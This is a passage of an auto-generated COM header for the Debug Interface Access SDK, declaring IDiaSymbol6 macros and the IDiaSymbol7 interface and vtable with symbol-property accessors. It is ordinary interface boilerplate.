IDiaSymbol6_get_isValueUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isValueUdt(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isInterfaceUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isInterfaceUdt(This,pRetVal) ) \n\n#define IDiaSymbol6_findInlineFramesByAddr(This,isect,offset,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByAddr(This,isect,offset,ppResult) ) \n\n#define IDiaSymbol6_findInlineFramesByRVA(This,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByRVA(This,rva,ppResult) ) \n\n#define IDiaSymbol6_findInlineFramesByVA(This,va,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByVA(This,va,ppResult) ) \n\n#define IDiaSymbol6_findInlineeLines(This,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLines(This,ppResult) ) \n\n#define IDiaSymbol6_findInlineeLinesByAddr(This,isect,offset,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByAddr(This,isect,offset,length,ppResult) ) \n\n#define IDiaSymbol6_findInlineeLinesByRVA(This,rva,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByRVA(This,rva,length,ppResult) ) \n\n#define IDiaSymbol6_findInlineeLinesByVA(This,va,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByVA(This,va,length,ppResult) ) \n\n#define IDiaSymbol6_findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult)\t\\\n    ( (This)->lpVtbl -> findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult) ) \n\n#define IDiaSymbol6_findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult) ) \n\n#define IDiaSymbol6_get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags)\t\\\n    ( (This)->lpVtbl -> get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags) ) \n\n#define IDiaSymbol6_getSrcLineOnTypeDefn(This,ppResult)\t\\\n    ( (This)->lpVtbl -> getSrcLineOnTypeDefn(This,ppResult) ) \n\n#define IDiaSymbol6_get_isPGO(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPGO(This,pRetVal) ) \n\n#define IDiaSymbol6_get_hasValidPGOCounts(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasValidPGOCounts(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isOptimizedForSpeed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isOptimizedForSpeed(This,pRetVal) ) \n\n#define IDiaSymbol6_get_PGOEntryCount(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_PGOEntryCount(This,pRetVal) ) \n\n#define IDiaSymbol6_get_PGOEdgeCount(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_PGOEdgeCount(This,pRetVal) ) \n\n#define IDiaSymbol6_get_PGODynamicInstructionCount(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_PGODynamicInstructionCount(This,pRetVal) ) \n\n#define IDiaSymbol6_get_staticSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_staticSize(This,pRetVal) ) \n\n#define IDiaSymbol6_get_finalLiveStaticSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_finalLiveStaticSize(This,pRetVal) ) \n\n#define IDiaSymbol6_get_phaseName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_phaseName(This,pRetVal) ) \n\n#define IDiaSymbol6_get_hasControlFlowCheck(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasControlFlowCheck(This,pRetVal) ) \n\n#define IDiaSymbol6_get_constantExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_constantExport(This,pRetVal) ) \n\n#define IDiaSymbol6_get_dataExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_dataExport(This,pRetVal) ) \n\n#define IDiaSymbol6_get_privateExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_privateExport(This,pRetVal) ) \n\n#define IDiaSymbol6_get_noNameExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noNameExport(This,pRetVal) ) \n\n#define IDiaSymbol6_get_exportHasExplicitlyAssignedOrdinal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exportHasExplicitlyAssignedOrdinal(This,pRetVal) ) \n\n#define IDiaSymbol6_get_exportIsForwarder(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exportIsForwarder(This,pRetVal) ) \n\n#define IDiaSymbol6_get_ordinal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_ordinal(This,pRetVal) ) \n\n#define IDiaSymbol6_get_frameSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frameSize(This,pRetVal) ) \n\n#define IDiaSymbol6_get_exceptionHandlerAddressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerAddressSection(This,pRetVal) ) \n\n#define IDiaSymbol6_get_exceptionHandlerAddressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerAddressOffset(This,pRetVal) ) \n\n#define IDiaSymbol6_get_exceptionHandlerRelativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerRelativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol6_get_exceptionHandlerVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol6_findInputAssemblyFile(This,ppResult)\t\\\n    ( (This)->lpVtbl -> findInputAssemblyFile(This,ppResult) ) \n\n#define IDiaSymbol6_get_characteristics(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_characteristics(This,pRetVal) ) \n\n#define IDiaSymbol6_get_coffGroup(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_coffGroup(This,pRetVal) ) \n\n#define IDiaSymbol6_get_bindID(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bindID(This,pRetVal) ) \n\n#define IDiaSymbol6_get_bindSpace(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bindSpace(This,pRetVal) ) \n\n#define IDiaSymbol6_get_bindSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bindSlot(This,pRetVal) ) \n\n\n#define IDiaSymbol6_get_isObjCClass(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isObjCClass(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isObjCCategory(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isObjCCategory(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isObjCProtocol(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isObjCProtocol(This,pRetVal) ) \n\n\n#define IDiaSymbol6_get_inlinee(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_inlinee(This,pRetVal) ) \n\n#define IDiaSymbol6_get_inlineeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_inlineeId(This,pRetVal) ) \n\n\n#define IDiaSymbol6_get_noexcept(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noexcept(This,pRetVal) ) \n\n\n#define IDiaSymbol6_get_hasAbsoluteAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasAbsoluteAddress(This,pRetVal) ) \n\n\n#define IDiaSymbol6_get_isStaticMemberFunc(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isStaticMemberFunc(This,pRetVal) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol6_get_isStaticMemberFunc_Proxy( \n    IDiaSymbol6 * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol6_get_isStaticMemberFunc_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n\n#endif \t/* __IDiaSymbol6_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaSymbol7_INTERFACE_DEFINED__\n#define __IDiaSymbol7_INTERFACE_DEFINED__\n\n/* interface IDiaSymbol7 */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaSymbol7;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"64ce6cd5-7315-4328-86d6-10e303e010b4\")\n    IDiaSymbol7 : public IDiaSymbol6\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isSignRet( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaSymbol7Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaSymbol7 * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaSymbol7 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaSymbol7 * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symIndexId )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symTag )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_name )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParent )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParent )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_type )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataKind )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_locationType )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressSection )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressOffset )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddress )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualAddress )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerId )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offset )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_length )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_slot )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_volatileType )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constType )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unalignedType )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_access )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_libraryName )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_platform )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_language )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_editAndContinueEnabled )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMajor )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMinor )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndBuild )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMajor )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMinor )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndBuild )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sourceFileName )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unused )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thunkOrdinal )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thisAdjust )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseOffset )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtual )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intro )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_pure )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_callingConvention )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_value )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ VARIANT *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseType )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_token )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_timeStamp )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_guid )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ GUID *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symbolsFileName )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_reference )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_count )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bitPosition )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexType )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_packed )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constructor )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_overloadedOperator )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_nested )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasNestedTypes )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAssignmentOperator )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasCastOperator )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_scoped )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseClass )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_indirectVirtualBaseClass )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBasePointerOffset )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShape )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParentId )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParentId )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_typeId )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexTypeId )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShapeId )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_code )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_function )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_managed )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_msil )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseDispIndex )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_undecoratedName )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_age )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_signature )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerGenerated )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressTaken )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_rank )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBound )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBound )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBoundId )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBoundId )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_dataBytes )( \n            IDiaSymbol7 * This,\n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildren )( \n            IDiaSymbol7 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenEx )( \n            IDiaSymbol7 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByAddr )( \n            IDiaSymbol7 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByVA )( \n            IDiaSymbol7 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByRVA )( \n            IDiaSymbol7 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetSection )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetOffset )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetRelativeVirtualAddress )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetVirtualAddress )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_machineType )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemId )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemSymbolId )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_types )( \n            IDiaSymbol7 * This,\n            /* [in] */ DWORD cTypes,\n            /* [out] */ DWORD *pcTypes,\n            /* [size_is][size_is][out] */ IDiaSymbol **pTypes);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_typeIds )( \n            IDiaSymbol7 * This,\n            /* [in] */ DWORD cTypeIds,\n            /* [out] */ DWORD *pcTypeIds,\n            /* [size_is][out] */ DWORD *pdwTypeIds);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectPointerType )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_udtKind )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_undecoratedNameEx )( \n            IDiaSymbol7 * This,\n            /* [in] */ DWORD undecorateOptions,\n            /* [out] */ BSTR *name);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noReturn )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_customCallingConvention )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noInline )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_optimizedCodeDebugInfo )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_notReached )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_interruptReturn )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_farReturn )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStatic )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* 